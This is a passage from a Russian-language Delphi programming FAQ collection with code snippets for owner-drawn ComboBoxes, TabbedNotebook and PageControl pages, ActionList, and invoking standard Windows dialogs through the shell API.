  // the columns must be separated by ';'
  strAll := Combobox1.Items[Index];

  arrWidth[0] := 0;
  arrWidth[1] := 100;  // Width of column 1
  arrWidth[2] := 200;  // Width of column 2
  arrWidth[3] := 300;  // Width of colimn 3

  // Drawingrange for first column
  rc.Left   := Rect.Left + arrWidth[0] + 2;
  rc.Right  := Rect.Left + arrWidth[1] - 2;
  rc.Top    := Rect.Top;
  rc.Bottom := Rect.Bottom;

  // Get text for first column
  pos1   := Pos(';', strAll);
  strVal := Copy(strAll, 1, pos1 - 1);
  // Draw Text
  Combobox1.Canvas.TextRect(rc, rc.Left, rc.Top, strVal);
  // Draw separating line betwenn columns
  Combobox1.Canvas.MoveTo(rc.Right, rc.Top);
  Combobox1.Canvas.LineTo(rc.Right, rc.Bottom);

  // Drawingrange for second column
  rc.Left  := Rect.Left + arrWidth[1] + 2;
  rc.Right := Rect.Left + arrWidth[2] - 2;

  // Text fur zweite Spalte ausfiltern
  // Get text for second column
  strAll := Copy(strAll, pos1 + 1, Length(strAll) - pos1);
  pos1   := Pos(';', strAll);
  strVal := Copy(strAll, 1, pos1 - 1);

  // Text ausgeben
  // Draw Text
  Combobox1.Canvas.TextRect(rc, rc.Left, rc.Top, strVal);
  // Trennlinie zwischen Spalten zeichnen
  // Draw separating line betwenn columns
  Combobox1.Canvas.MoveTo(rc.Right, rc.Top);
  Combobox1.Canvas.LineTo(rc.Right, rc.Bottom);

  // Drawingrange for third column
  rc.Left  := Rect.Left + arrWidth[2] + 2;
  rc.Right := Rect.Left + arrWidth[3] - 2;

  // Get text for third column
  strAll := Copy(strAll, pos1 + 1, Length(strAll) - pos1);
  pos1   := Pos(';', strAll);
  strVal := Copy(strAll, 1, pos1 - 1);

  // Draw Text
  Combobox1.Canvas.TextRect(rc, rc.Left, rc.Top, strVal);
  // Draw separating line betwenn columns
  Combobox1.Canvas.MoveTo(rc.Right, rc.Top);
  Combobox1.Canvas.LineTo(rc.Right, rc.Bottom);
  strAll := Copy(strAll, pos1 + 1, Length(strAll) - pos1);
end;

// Example/ Beispiel:

procedure TForm1.Button1Click(Sender: TObject);
begin
  with Combobox1.Items do
  begin
    Add('first;second;third;');
    Add('column1;column2;column3;');
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  //Oder im Objekt Inspektor einstellen
  //Or set this Property in the Object Inspector
  Combobox1.Style := csOwnerDrawFixed;
end;

Взято с http://delphiworld.narod.ru


Как опеделить состояние списка ComboBox, выпал/скрыт?

Пошлите ComboBox сообщение CB_GETDROPPEDSTATE.

if SendMessage(ComboBox1.Handle, CB_GETDROPPEDSTATE, 0, 0) = 1 then
  begin {список ComboBox выпал}

  end;


Как получить размер развёрнутого TComboBox?

В течение события FormShow, выпадающему списке дважды посылается сообщение CB_SHOWDROPDOWN , один раз, чтобы он открылся, а второй - чтобы свернулся. Затем посылается сообщение CB_GETDROPPEDCONTROLRECT, передающее адрес TRect.

Когда вызов SendMessage возвращается, то TRect будет содержать прямоугольник, который соответствует раскрытому ComboBox-у относительно окна. Затем можно вызвать ScreenToClient для преобразования координат TRect-а в координаты относительно клиентской области формы.

var
  R : TRect;

procedure TForm1.FormShow(Sender: TObject);
var
  T : TPoint;
begin
  SendMessage(ComboBox1.Handle,
              CB_SHOWDROPDOWN,
              1,
              0);
  SendMessage(ComboBox1.Handle,
              CB_SHOWDROPDOWN,
              0,
              0);
  SendMessage(ComboBox1.Handle,
              CB_GETDROPPEDCONTROLRECT,
              0,
              LongInt(@r));
  t := ScreenToClient(Point(r.Left, r.Top));
  r.Left := t.x;
  r.Top := t.y;
  t := ScreenToClient(Point(r.Right, r.Bottom));
  r.Right := t.x;
  r.Bottom := t.y;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Form1.Canvas.Rectangle(r.Left,
                         r.Top,
                         r.Right,
                         r.Bottom );
end;

Взято из http://forum.sources.ru


Как поместить картинки в Combo Box?

Автор: Allan Carlton

Делается это при помощи стиля ownerdraw, который присутствует в TComboBox. Нас интересуют два свойства этого стиля:

csOwnerDrawFixed - используется, если все битмапы имеют одинаковую высоту
csOwnerDrawVariable - используется для битмапов с разной высотой
После того как стиль будет установлен на один из вышеперечисленных, то можно воспользоваться событием onDrawItem. Это событие возникает каждый раз, когда приложению необходимо нарисовать пункт в выпадающем списке (combo box). Событие определяется следующим образом:

procedure TForm1.ComboBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState)

Если выпадающему списку был присвоен стиль csOwnerDrawFixed, то всё, что надо сделать, это написать процедуру, которая будет рисовать битмап и текст в событии onDrawItem.

Для выпадающего списка со стилем csOwnerDrawVariable необходимо пройти ещё одну дополнительную стадию. Заключается эта стадия в создании обработчика для события onMeasureItem. Это событие вызывается перед DrawItem, для того, чтобы Вы могли установить фактическую высоту для каждого элемента списка. Вот его определение:

procedure TForm1.ComboBox1MeasureItem(Control: TWinControl; Index: Integer;
var Height: Integer);

Создайте новое приложение
Разместите на форме combobox и imagelist (если Вы используете delphi 1, то Вам прийдётся хранить битмапы каким-то другим способом)

procedure TForm1.ComboBox1DrawItem(Control: TWinControl; Index:Integer;  Rect: TRect; State: TOwnerDrawState);
begin
  (* Заполняем прямоугольник *)
  combobox1.canvas.fillrect(rect);

  (* Рисуем сам битмап *)
  imagelist1.Draw(comboBox1.Canvas,rect.left,rect.top,Index);

  (* Пишем текст после картинки *)
  combobox1.canvas.textout(rect.left+imagelist1.width+2,rect.top,
                          combobox1.items[index]);
end;

Взято из http://forum.sources.ru


Мигание при добавлении строк

При добавлении большого количества строк происходит мигание компонента.

Combobox1.BeginUpdate;
//здесь вставляем строки
Combobox1.EndUpdate;


PageControl, TabControl, Notebook

Cодержание раздела:

Как использовать клавишу-акселератор в TTabsheets?
Динамические создание объектов в TabbedNotebook
Недоступная закладка в компоненте TabbedNotebook
Доступ к страницам Tabbednotebook
Над какой закладкой курсор в TabControl?
Как получить число и список всех компонентов, расположенных на TNoteBook?

См. также статьи в других разделах:
Как связать TreeView и PageControl?


Как использовать клавишу-акселератор в TTabsheets?

Как использовать клавишу-акселератор в TTabsheets? Я добавляю клавишу-акселератор в заголовок каждого Tabsheet моего PageControl, но при попытке переключать страницы этой клавишей программа пикает и ничего не происходит.

Можно перехватить сообщение CM_DIALOGCHAR.

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
  private
  {Private declarations}
    procedure CMDialogChar(var Msg: TCMDialogChar);
      message CM_DIALOGCHAR;
  public
  {Public declarations}
  end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

procedure TForm1.CMDialogChar(var Msg: TCMDialogChar);
var
  i: integer;
begin
  with PageControl1 do
    begin
      if Enabled then
        for i := 0 to PageControl1.PageCount - 1 do
          if ((IsAccel(Msg.CharCode, Pages[i].Caption)) and
            (Pages[i].TabVisible)) then
            begin
              Msg.Result := 1;
              ActivePage := Pages[i];
              exit;
            end;
    end;
  inherited;
end;
Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально для Королевства Дельфи


Динамические создание объектов в TabbedNotebook

procedure TForm1.TabbedNotebook1Click(Sender: TObject);
var
  myE: TEdit;
begin
  with TabbedNotebook1 do
  begin
    if PageIndex = 1 then
    begin
      myE := TEdit.Create(Self);
      myE.Left := 12;
      myE.Top := 12;
      myE.Parent := Pages.Objects[PageIndex] as TWinControl;
      myE.Show;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Button2:Tbutton;
begin
  button2:=tbutton.create(self);
  button2.parent:=TabbedNotebook1.Pages.Object[0] as TTabPage;
  button2.setbounds(30,30,60,30);
end;

Взято с http://delphiworld.narod.ru


Недоступная закладка в компоненте TabbedNotebook

Есть ли возможность в компоненте Tabbednotebook сделать какую-либо страницу недоступной? То есть не позволять пользователю щелкать на ней и видеть ее содержимое?

Да, такая возможность существует. Самый простой путь - удалить страницу, например так:

with TabbedNotebook do
  Pages.Delete(PageIndex);

и снова включить ее (при необходимости), перегрузив форму.

Блокировка (а не удаление) немного мудренее, поскольку необходима организация цикла в процедуре создания формы, присваивающая имена закладкам компонента TabbedNotebook. Например так:

J := 0;
with TabbedNotebook do
  for I := 0 to ComponentCount - 1 do
    if Components[I].ClassName = 'TTabButton' then
      begin
        Components[I].Name := ValidIdentifier(TTabbedNotebook(
          Components[I].Owner).Pages[J]) + 'Tab';
        Inc(J);
      end;

где ValidIdentifier ValidIdentifier - функция, которая возвращает правильный Pascal-идентификатор, производный от строки 'Tab':

function ValidIdentifier(theString: str63): str63;
{--------------------------------------------------------}
{ Конвертирует строку в правильный Pascal-идентификатор, }
{ удаляя все неправильные символы и добавляя символ '_', }
{ если первый символ - цифра                             }
{--------------------------------------------------------}
var
  I, Len: Integer;
begin
  Len := Length(theString);
  for I := Len downto 1 do
    if not (theString[I] in LettersUnderscoreAndDigits) then
      Delete(theString, I, 1);
  if not (theString[1] in LettersAndUnderscore) then
    theString := '_' + theString;
  ValidIdentifier := theString;
end; {ValidIdentifier}

Затем мы можем сделать закладку компонента TabbedNotebook недоступной:

with TabbedNotebook do
  begin
    TabIdent := ValidIdentifier(Pages[PageIndex]) + 'Tab';
    TControl(FindComponent(TabIdent)).Enabled := False;
{ Переключаемся на первую доступную страницу: }
    for I := 0 to Pages.Count - 1 do
      begin
        TabIdent := ValidIdentifier(Pages[I]) + 'Tab';
        if TControl(FindComponent(TabIdent)).Enabled then
          begin
            PageIndex := I;
            Exit;
          end;
      end; {for}
  end; {with TabbedNotebook}

следующий код восстанавливает доступность страницы:

with TabbedNotebook do
  for I := 0 to Pages.Count - 1 do
    begin
      TabIdent := ValidIdentifier(Pages[I]) + 'Tab';
      if not TControl(FindComponent(TabIdent)).Enabled then
        TControl(FindComponent(TabIdent)).Enabled := True;
    end; {for}

Взято с http://delphiworld.narod.ru


Доступ к страницам Tabbednotebook

При добавлении компонентов во время выполнения программы, вам необходимо присвоить для каждого компонента свойству parent (контейнер) _страницу_ компонента notebook, а не сам notebook.

Вы можете сделать это следующим образом (пример дан для кнопки):

MyButton := TButton.Create( Form1 );  {как обычно...}
...
...
MyButton.Parent := TTabPage( TabbedNotebook1.Pages.Objects[n] );
{ <== где 'n' - индекс желаемой страницы ==> }

Свойство notebook 'Pages' имеет тип StringList и содержит список заголовков и объектов 'TTabPage'.

Я сам пользовался этой техникой несколько месяцев. Не могу вспомнить где я сам раздобыл эту информацию, но в документации про это ничего не сказано. Может кто-нибудь знает, где об этом написано?

При добавлении компонента на страницу TabbedNotebook во время выполнения приложения, указатель на желаемую страницу для свойства Parent нового компонента должен быть назначен перед тем, как он будет реально показан. Способ получить доступ ко всем страницам TTabbedNotebook во время выполнения программы - с помощью свойства-массива Objects свойства TabbedNotebook Pages. Другими словами, страничные компоненты хранятся как объекты, присоединенные к имени страницы в списке строк свойства Pages. В следующим коде показано создание кнопки на второй странице компонента TabbedNotebook1:

var
NewButton : TButton;
begin
NewButton := TButton.Create(Self);
NewButton.Parent := TWinControl(TabbedNotebook1.Pages.Objects[1])
...

Вот как страница TNotebook может быть использована в качестве родителя для вновь создаваемого на ней компонента:

NewButton.Parent := TWinControl(Notebook1.Pages.Objects[1])

Вот как страница (закладка) TTabSet может быть использована в качестве родителя для вновь создаваемого на ней компонента:

NewButton.Parent := TWinControl(TabSet1.Tabs.Objects[1])

Взято с http://delphiworld.narod.ru


Над какой закладкой курсор в TabControl?

function Form1.ItemAtPos(TabControlHandle : HWND; X, Y : Integer) : Integer;
var
  HitTestInfo : TTCHitTestInfo;
  HitIndex : Integer;
begin
  HitTestInfo.pt.x := X;
  HitTestInfo.pt.y := Y;
  HitTestInfo.flags := 0;
  HitIndex := SendMessage(TabControlHandle, TCM_HITTEST, 0, Longint(@HitTestInfo));
  Result := HitIndex;
end;

Взято с http://delphiworld.narod.ru


Как получить число и список всех компонентов, расположенных на TNoteBook?

procedure TForm1.Button1Click(Sender: TObject);
var
  n: integer;
  p: integer;
begin
  ListBox1.Clear;
  with Notebook1 do
    begin
      for n := 0 to ControlCount - 1 do
        begin
          with TPage(Controls[n]) do
            begin
              ListBox1.Items.Add('Notebook Page: ' +
                TPage(Notebook1.Controls[n]).Caption);
              for p := 0 to ControlCount - 1 do
                ListBox1.Items.Add(Controls[p].Name);
              ListBox1.Items.Add(EmptyStr);
            end;
        end;
    end;
end;


Action, ActionList

Cодержание раздела:

Как в run-time Action добавить в ActionList?


Как в run-time Action добавить в ActionList?

var
  NewAction : TAction;
begin
  NewAction := TAction.Create(self);
  NewAction.ActionList := ActionList1;
end;

Автор ответа: Dayana
Взято с Vingrad.ru http://forum.vingrad.ru


Создание и регистрация Action на низком уровне

Функция CreateAction (AOwner: TComponent;ActionClass: TBasicActionClass ):TBasicAction;
Модуль: ActnList
Функция создает действие (Action) заданного типа, которое отображается во время проектирования в редакторе списка Action.
Тип Action указывается в параметре ActionClass.
Вызов функции аналогичен выполнению кода ActionClass.Create(AOwner), за исключением того, что функция CreateAction использует значение параметра Resource процедуры RegisterActions для инициализации значений action-объекта, основанного на данном параметре.

Процедура EnumRegisteredActions (Proc: TEnumActionProc;Info: Pointer );
Модуль: ActnList
TEnumActionProc = Procedure( const Category: string;ActionClass: TBasicActionClass;
Info: Pointer ) of object;
Процедура производит итерацию списка зарегистрированных действий (Action), передавая их процедуре повторного вызова, определенной в параметре Proc.
Параметр Category определяет категорию в списке, к которой относится Action. Для потомков TContainedAction параметр Category должен соответствовать свойству TContainedAction.Category. Для первичных классов значение данного параметра может представлять собой пустую строку.

Процедура RegisterActions (const CategoryName: string;const AClasses: array of TBasicActionClass;Resource: TcomponentClass );
Модуль: ActnList
Процедура регистрирует множество Action так, чтобы ими можно было оперировать с помощью редактора списка Action (Action list editor).
Зарегистрированный класс будет отображаться в "Action list editor" при выборе команды редактора "New Action".

Процедура UnRegisterActions (const AClasses: array of TBasicActionClass );
Модуль: ActnList
Отменяет регистрацию множества Action, зарегистрированных ранее процедурой RegisterActions. Множество Action определяется параметром AClasses
Взято с http://atrussk.ru/delphi/


Диалоги

Cодержание раздела:

Примечание: в раздел помещены не только диалоги VCL, но и диалоги Windows.

Как работать с FileOpenDialog и FileSaveDialоg?
TOpenDialog, TSaveDialog, TOpenPictureDialog и TSavePictureDialog
Добавляем компонент в стандартный Message dialog.
Как вывести окно свойств компьютеpа?
Как показать Open With диалог?
Как показать File Properties dialog?
Как показать Choose Computer диалог?
Как открыть диалог создания ярлыка?
Как открыть диалог Add printer?
Как открыть диалог свойств аудио?
Как открыть диалог смены системного времени?
Using the Shell API function SHBrowseForFolder
Получить картинки из MessageDlg
Как вывести диалог Обзор папок New!
File List View in File Dialogs New!
Манипулирование кнопками OpenDialog New!
Показать Run диалог New!
Показать Choose Domain диалог? New!
Как вызвать Shutdown Windows dialog? New!
Диалог подключения сетевого диска New!
Использование InputBox и InputQuery New!

См. также статьи в других разделах:
Как использовать свой диалог ввода пароля BDE
Как предотвратить появление login dialog?
Как открыть окно настройки даты и времени Windows?
Диалог прекращения печати


Как работать с FileOpenDialog и FileSaveDialоg?

как именно с ними работать чтобы на с: открыть файл?

Похоже я понял что тебя смущает: OpenFileDialog и SaveFileDialog - ничего сами по себе не открывают и не сохраняют. Они нужны только для выбора имени файла. Ставишь их на форму. Там куча свойств и опций - типа исходны каталог, показыать скрытые файлы или нет и т.п. Впрочем по началу можно их вообще не указывать. Тебе надо знать только 1 метод - execute - открыть диалог:

OpenFileDialog1.execute

ты можешь проверить действительно ли пользователь выбрал файл или нажал Cancel:

if OpenFileDialog1.execute then

если файл выбран то свойство FileName возвращает тебе строку - имя файла

if OpenFileDialog1.execute then showmessage(OpenFileDialog1.FileName);

Сам файл не открывается и ничего с ним не делается, все это надо делать вручную:

if OpenFileDialog1.execute then
begin
assignFile(f,OpenFileDialog1.Filename);
reset(f);
seek(f, $10000);
write(f,b);
CloseFile(f);
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


TOpenDialog, TSaveDialog, TOpenPictureDialog и TSavePictureDialog

Перевод одноимённой статьи с сайта delphi.about.com )

Стандарные диалоговые окошки
Практически любое приложение Windows использует стандартные диалоги, встроенные в операционную систему, для открытия и сохранения файлов, поиска текста, печати, выбора шрифта или установки цвета.
В этой статье мы рассмотрим основные свойства и методы этих диалогов и, особенно, сфокусируем внимание на диалогах Open и Save.

Стандартные диалоговые окошки можно найти на панели компонентов в закладке Dialogs. Для того, чтобы начать использовать определённое диалоговое окошко, его достаточно поместить на форму. Компоненты стандартных диалогов являются невидимыми, поэтому Вы не сможете изменить дизайн такого диалога во время разработки приложения.

TOpenDialog и TSaveDialog
Диалоговые окошки File Open и File Save имеют несколько общих свойств. File Open в основном используется для выбора и открытия файлов, в то время как диалог File Save (так же используется как диалоговое окошко Save As) используется для получения от пользователя имени файла, чтобы сохранить файл. Далее мы рассмотрим некоторые важные свойства TOpenDialog и TSaveDialog:

Свойство Options предназначено для задания конечного вида окна. Например, при помощи следующего кода:

with OpenDialog1 do
 Options := Options +
   [ofAllowMultiSelect, ofFileMustExist];

мы позволим пользователю выбирать несколько файлов, а так же заставим генерироваться сообщение об ошибке, если пользователь выберет несуществующий файл.

Свойство InitialDir используется для указания директории, которая будет показана при создании диалога. Следующий код установит начальную директорию, из которой было запущено приложение:

 SaveDialog1.InitialDir :=
    ExtractFilePath(Application.ExeName);

Свойство Filter содержит список типов файлов, которые сможет выбирать пользователь. Когда пользователь выберет тип файлов, то в диалоговом окне будут отображаться только файлы данного расширения. Фильтр можно легко установить на стадии создания приложения при помощи диалога редактора фильтра (Filter Editor):

Так же фильтр можно задать программно. Строка фильтра должна содержать описание и расширение для данного типа файлов, разделённые вертикальной чертой:

OpenDialog1.Filter :=
  'Text files (*.txt)|*.txt|All files (*.*)|*.*';

Свойство FileName. Когда пользователь нажмёт на диалоге кнопку OK, то это свойство будет содержать полный путь и имя выбранного файла.
Вызов диалогового окошка
Для создания и отображения стандартного диалога необходимо выполнить метод Execute для нужного диалога. За исключением диалогов TFindDialog и TReplaceDialog, все остальные диалоги отображаются модально.

Все стандартные диалоговые окошки позволяют определить нажал ли пользователь кнопку "Отмена" (Cancel) (или нажал ESC). Если метод Execute вернул True значит пользователь нажал OK или сделал двойной щелчёк по файлу либо нажал Enter на клавиатуре, иначе, если была нажата кнопка Cancel, клавиша Esc или Alt-F4, будет возвращено значение False.

if OpenDialog1.Execute then
  ShowMessage(OpenDialog1.FileName);

Этот код показывает диалог File Open и, если пользователь нажал "Открыть" (Open), то будет показано имя выбранного файла.

Использование только кода
Чтобы работать диалогом Open (или любым другим) не помещая при этом на форму компонент OpenDialog, можно воспользоваться следующим кодом:

procedure TForm1.btnFromCodeClick(Sender: TObject);
var OpenDlg : TOpenDialog;
begin OpenDlg := TOpenDialog.Create(Self);
 {здесь устанавливаем опции...}
 if OpenDlg.Execute then begin
  {здесь что-нибудь делаем}
 end;
 OpenDlg.Free;
end;

Обратите внимание, что перед вызовом Execute, можно установить различные свойства компонента OpenDialog.

TOpenPictureDialog и TSavePictureDialog
Эти два диалога есть ничто иное как обычные File Open и File Save с дополнительной возможностью предварительного просмотра выбранной картинки.

Мой Блокнот
А теперь предлагаю применить теорию на практике. Создадим простейший блокнот, и посмотрим как работают диалоговые окошки Open и Save:

Для создания блокнота проделаем следующее:
. Запустите Delphi и выберите в меню File-New Application.
. Поместите на форму Memo, OpenDialog, SaveDialog и две кнопки.
. Переименуйте Button1 в btnOpen, а Button2 в btnSave.

Код
1. Поместите в событие формы FormCreate следующий код:

procedure TForm1.FormCreate(Sender: TObject);
begin
 with OpenDialog1 do begin
  Options:=Options+[ofPathMustExist,ofFileMustExist];
  InitialDir:=ExtractFilePath(Application.ExeName);
  Filter:='Text files (*.txt)|*.txt';
 end;
 with SaveDialog1 do begin
  InitialDir:=ExtractFilePath(Application.ExeName);
  Filter:='Text files (*.txt)|*.txt';
 end;
 Memo1.ScrollBars := ssBoth;
end;

Этот код устанавливает некоторые свойства диалога Open как было описано в начале статьи.

2. Добавьте следующий код в событие Onclick для кнопок btnOpen и btnSave:

procedure TForm1.btnOpenClick(Sender: TObject);
begin
 if OpenDialog1.Execute then begin
  Form1.Caption := OpenDialog1.FileName;
  Memo1.Lines.LoadFromFile
    (OpenDialog1.FileName);
  Memo1.SelStart := 0;
 end;
end;

procedure TForm1.btnSaveClick(Sender: TObject);
begin
 SaveDialog1.FileName := Form1.Caption;
 if SaveDialog1.Execute then begin
   Memo1.Lines.SaveToFile
     (SaveDialog1.FileName + '.txt');
   Form1.Caption:=SaveDialog1.FileName;
 end;
end;

Теперь можно смело запускать проект

Взято из http://forum.sources.ru


Добавляем компонент в стандартный Message dialog.

Автор: Terrance Hui

Пример показывает стандартное диалоговое окно, которое обычно используется для подтверждения дальнейших действий в любой программе с галочкой "Don't show this message again."

Используем функцию CreateMessageDialog и добавляем любой компонент до того как будет вызвана ShowModal.

procedure TForm1.Button1Click(Sender: TObject);
Var
  AMsgDialog: TForm;
  ACheckBox: TCheckBox;
begin
  AMsgDialog := CreateMessageDialog('This is a test message.', mtWarning, [mbYes, mbNo]);
  ACheckBox := TCheckBox.Create(AMsgDialog);
  with AMsgDialog do
  try
    Caption := 'Dialog Title' ;
    Height := 169;

    With ACheckBox do
    begin
      Parent := AMsgDialog;
      Caption := 'Do not show me again.';
      top := 121;
      Left := 8;
    end;

    Case ShowModal of
      ID_YES: ;//здесь Ваш код после того как диалог будет закрыт
      ID_NO:  ;
    end;
    If ACheckBox.Checked then
    begin
      //...
    end;
  finally
    ACheckBox.Free;
    Free;
  end;
end;

Так же Вы можете изменить диалог по Вашему усмотрению.
Взято из http://forum.sources.ru


Как вывести окно свойств компьютеpа?

ShellExecute(Application.Handle, 'open', 'sysdm.cpl', nil, nil,sw_ShowNormal);

Взято с сайта http://blackman.wp-club.net/


Как показать Open With диалог?

{
  This code displays the application/file "Open With" dialog
  Passing the full file path and name as a parameter will cause the
  dialog to display the line "Click the program you want to use to open
  the file 'filename'".
}

uses
  ShellApi;

procedure OpenWith(FileName: string);
begin
  ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'),
    PChar('shell32.dll,OpenAs_RunDLL ' + FileName), nil, SW_SHOWNORMAL);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if Opendialog1.Execute then
    OpenWith(Opendialog1.FileName);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как показать File Properties dialog?

{ This code shows the standard file properties dialog like in Windows Explorer }

uses
shellapi;

// Thanks to Peter Below (TeamB) for this code
procedure PropertiesDialog(FileName: string);
var
sei: TShellExecuteInfo;
begin
FillChar(sei, SizeOf(sei), 0);
sei.cbSize := SizeOf(sei);
sei.lpFile := PChar(FileName);
sei.lpVerb := 'properties';
sei.fMask := SEE_MASK_INVOKEIDLIST;
ShellExecuteEx(@sei);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if Opendialog1.Execute then
PropertiesDialog(Opendialog1.FileName);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как показать Choose Computer диалог?

{
  The "Choose Computer" is a dialog provided by network services
  (NTLANMAN.DLL) for Windows 2k/NT/XP
  to display the servers and their computers.
}

type
  TServerBrowseDialogA0 = function(hwnd: HWND; pchBuffer: Pointer; cchBufSize: DWORD): bool;
  stdcall;

function ShowServerDialog(AHandle: THandle): string;
var
  ServerBrowseDialogA0: TServerBrowseDialogA0;
  LANMAN_DLL: DWORD;
  buffer: array[0..1024] of char;
  bLoadLib: Boolean;
begin
  LANMAN_DLL := GetModuleHandle('NTLANMAN.DLL');
  if LANMAN_DLL = 0 then
  begin
    LANMAN_DLL := LoadLibrary('NTLANMAN.DLL');
    bLoadLib := True;
  end;
  if LANMAN_DLL <> 0 then
  begin @ServerBrowseDialogA0 := GetProcAddress(LANMAN_DLL, 'ServerBrowseDialogA0');
    DialogBox(HInstance, MAKEINTRESOURCE(101), AHandle, nil);
    ServerBrowseDialogA0(AHandle, @buffer, 1024);
    if buffer[0] = '\' then
    begin
      Result := buffer;
    end;
    if bLoadLib then
      FreeLibrary(LANMAN_DLL);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  label1.Caption := ShowServerDialog(Form1.Handle);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как открыть диалог создания ярлыка?

uses
  registry, shellapi;

function Launch_CreateShortCut_Dialog(Directory: string): Boolean;
var
  reg: TRegistry;
  cmd: string;
begin
  Result := False;
  reg    := TRegistry.Create;
  try
    reg.Rootkey := HKEY_CLASSES_ROOT;
    if reg.OpenKeyReadOnly('.LNK\ShellNew') then
    begin
      cmd    := reg.ReadString('Command');
      cmd    := StringReplace(cmd, '%1', Directory, []);
      Result := True;
      WinExec(PChar(cmd), SW_SHOWNORMAL);
    end
  finally
    reg.Free;
  end;
end;

{Example}

procedure TForm1.Button1Click(Sender: TObject);
begin
  Launch_CreateShortCut_Dialog('c:\temp');
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как открыть диалог Add printer?

добавьте ShellAPI в USES

ShellExecute(handle, nil,
'rundll32.exe',
'shell32.dll,SHHelpShortcuts_RunDLL AddPrinter', '', SW_SHOWNORMAL);

Взято из http://forum.sources.ru


Как открыть диалог свойств аудио?

WinExec('rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2',SW_SHOWNORMAL);

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как открыть диалог смены системного времени?

uses
  Shellapi;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'control', 'date/time', nil, SW_SHOW);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Using the Shell API function SHBrowseForFolder

uses ShellAPI, ShlObj;

procedure TForm1.Button1Click(Sender: TObject);
var
  TitleName : string;
  lpItemID : PItemIDList;
  BrowseInfo : TBrowseInfo;
  DisplayName : array[0..MAX_PATH] of char;
  TempPath : array[0..MAX_PATH] of char;
begin
  FillChar(BrowseInfo, sizeof(TBrowseInfo), #0);
  BrowseInfo.hwndOwner := Form1.Handle;
  BrowseInfo.pszDisplayName := @DisplayName;
  TitleName := 'Please specify a directory';
  BrowseInfo.lpszTitle := PChar(TitleName);
  BrowseInfo.ulFlags := BIF_RETURNONLYFSDIRS;
  lpItemID := SHBrowseForFolder(BrowseInfo);
  if lpItemId  nil then begin
    SHGetPathFromIDList(lpItemID, TempPath);
    ShowMessage(TempPath);
    GlobalFreePtr(lpItemID);
  end;
end;


Как получить картинки из MessageDlg?

procedure TForm1.Button1Click(Sender: TObject);
var
  Ic: TIcon;
begin
  Ic := TIcon.Create;
  Ic.Handle := LoadIcon(0, IDI_APPLICATION);
  Form1.Canvas.Draw(1, 1, Ic);
  Ic.Handle := LoadIcon(0, IDI_ASTERISK);
  Form1.Canvas.Draw(32, 1, Ic);
  Ic.Handle := LoadIcon(0, IDI_EXCLAMATION);
  Form1.Canvas.Draw(64, 1, Ic);
  Ic.Handle := LoadIcon(0, IDI_QUESTION);
  Form1.Canvas.Draw(1, 32, Ic);
  Ic.Handle := LoadIcon(0, IDI_HAND);
  Form1.Canvas.Draw(32, 32, Ic);
  Ic.Handle := LoadIcon(0, IDI_WINLOGO);
  Form1.Canvas.Draw(64, 32, Ic);
  Ic.Destroy;
end;

Взято с http://delphiworld.narod.ru


Как вывести диалог Обзор папок

Для вывода диалога "Обзор папок" существует функция SHBrowseForFolder. Для выбора того, какие папки будут выведены в диалоге, используется функция SHGetSpecialFolderLocation. В этой программе выводится рабочий стол со всеми подпапками (папки рабочего стола, Мой компьютер, Корзина). Для выбора папки в меню пуск используется CSIDL_STARTMENU вместо CSIDL_DESKTOP.

uses ShlObj;

procedure CallBack(wnd: hWnd; uMsg: UINT; lParam, lpData: LParam) stdcall;
begin
  SendMessage(wnd, BFFM_ENABLEOK, 0, 1);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  bi: TBrowseInfo;
  s: PChar;
  PIDL, ResPIDL: PItemIDList;
begin
  SHGetSpecialFolderLocation(Form1.Handle, CSIDL_DESKTOP, PIDL);
  s := StrAlloc(128);
  bi.hwndOwner := Form1.Handle;
  bi.pszDisplayName := s;

  bi.lpszTitle := 'Выбор прапки';
  bi.pidlRoot := PIDL;
  bi.lpfn := addr(CallBack);
  ResPidl := SHBrowseForFolder(BI);
  SHGetPathFromIDList(ResPidl, s);
  Form1.Caption := s;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


File List View in File Dialogs

// If an application asks user to select an icon, it's
// more convenient for the user to see list of files as
// large icons instead of small icons. Also, for selecting
// an image file, user will be happier to choose an image
// by seeing the thumbnails.

// The standard file dialog initialy shows the files in
// the LIST (small icon) style, and there is no documented
// way to change this behavior. So, if user wants to see
// the file list in another style, she/he should change
// it manually by selecting the desired view style form
// the provided popup menu.

// Here is a workaround for this limitation to select the
// reasonable view style for a file dialog.

type
  TFileViewStyle = (fvsIcons, fvsList, fvsDetails, fvsThumbnails, fvsTiles);

function SetFileDialogViewStyle(Handle: THandle; ViewStyle: TFileViewStyle): Boolean;
const
  CommandIDs: array[TFileViewStyle] of Word = ($7029, $702B, $702C, $702D, $702E);
var
  NotifyWnd: THandle;
begin
  Result    := False;
  NotifyWnd := FindWindowEx(GetParent(Handle), 0, 'SHELLDLL_DefView', nil);
  if NotifyWnd <> 0 then
  begin
    SendMessage(NotifyWnd, WM_COMMAND, CommandIDs[ViewStyle], 0);
    Result := True;
